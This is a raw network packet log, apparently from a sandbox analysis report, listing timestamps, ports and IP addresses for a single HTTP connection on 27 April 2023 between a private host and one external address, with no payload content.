Apr 27, 2023 07:42:00.951603889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951648951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951670885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951695919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951709986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951742887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951757908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951790094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951805115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951828957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951852083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951886892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963444948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963514090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963563919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963601112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963622093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963622093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963644981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963658094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963681936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963711023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963726044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963743925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963769913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963792086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963804960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963839054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963851929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963862896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963887930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963915110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963932991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963943958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.963978052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.963999033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964023113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964045048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964071035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964088917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964116096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964133978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964148998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964178085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964195013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964209080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964240074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964258909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964272976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964309931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964318037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964335918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964363098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964381933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964409113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964426041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964441061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964476109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964505911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964567900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964615107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964631081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964660883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964678049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964705944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964728117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964740992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964776039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964786053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964802980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964832067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964848995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964878082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964895010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964912891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964941025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.964958906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.964970112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965006113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965019941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965051889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965070009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965086937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965117931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965143919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965492964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965538025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965576887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965585947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965603113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965619087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965651035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965665102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965676069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965708971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965724945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965749025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.965770960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.965817928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976541042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976612091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976654053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976660013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976691008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976699114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976742029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976746082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976767063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976790905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976809025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976836920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976854086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976882935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976911068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976928949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976934910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.976977110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.976985931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977018118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977035999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977063894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977072001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977112055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977122068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977144957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977170944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977190971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977202892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977226019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977250099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977272034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977287054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977307081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977339029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977353096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977364063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977399111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977411032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977447033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977458954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977484941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977511883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977531910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977540970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977579117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977591991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977626085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977638006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977662086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.977685928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977720976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.977994919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978041887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978074074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978110075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978118896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978152990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978163958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978177071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978197098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978240967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978285074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978326082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978326082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978331089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978358984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978377104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978420019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978440046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978456020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.978482008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.978507996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.982644081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982711077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982760906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982805967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982810020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.982842922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.982851982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982866049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.982897997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982918024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.982940912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.982965946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.983000040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989316940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989418030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989450932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989500999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989538908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989567995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989583969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989612103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989612103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989617109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989641905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989662886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989674091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989710093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989722967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989748001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.989769936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.989799976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.990906000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.990952015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.990988016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.991000891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.991002083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.991040945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.991199970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.991251945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.991319895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.994296074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.994348049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.994395018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.994400978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.994431019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.994443893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.994443893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.994502068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.997373104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997409105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997453928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997488976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997508049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.997533083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997540951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.997540951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.997569084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.997626066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.999073982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.999109030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.999161005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.999191046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.999197006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.999236107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.999270916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.999295950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.999375105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.000834942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.000924110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.000976086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.001004934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.001014948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.001043081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.001068115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.002640009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.002687931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.002715111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.002732038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.002748013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.002770901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.002794027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.002824068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009196043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009232998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009265900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009299040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009330988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009351969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009366989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009377956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009401083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009454012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009466887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009500980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009516001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009576082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009598017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009620905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009650946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009665012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009676933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009699106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009727001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009742975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009761095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009788990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009804964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009826899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.009850025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.009885073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.012665033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.012711048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.012743950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.012780905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.012823105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.012830973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.012859106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.012897015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.012940884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.020765066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.020814896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.020859003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.020904064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.020935059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.020947933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.020982981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.020992041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021028042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.021028996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021054029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.021090031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.021230936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021275043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021320105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021337986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.021356106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.021384001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.021420002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.024219036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024254084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024296999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024297953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.024323940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.024328947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024369955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.024373055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024391890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.024409056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.024470091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.028006077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.028053999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.028098106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.028109074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.028131962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.028188944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.028254032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.032810926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.032890081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.032922029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.032963991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.033006907 CEST	80	49697	85.192.63.15	192.168.2.3
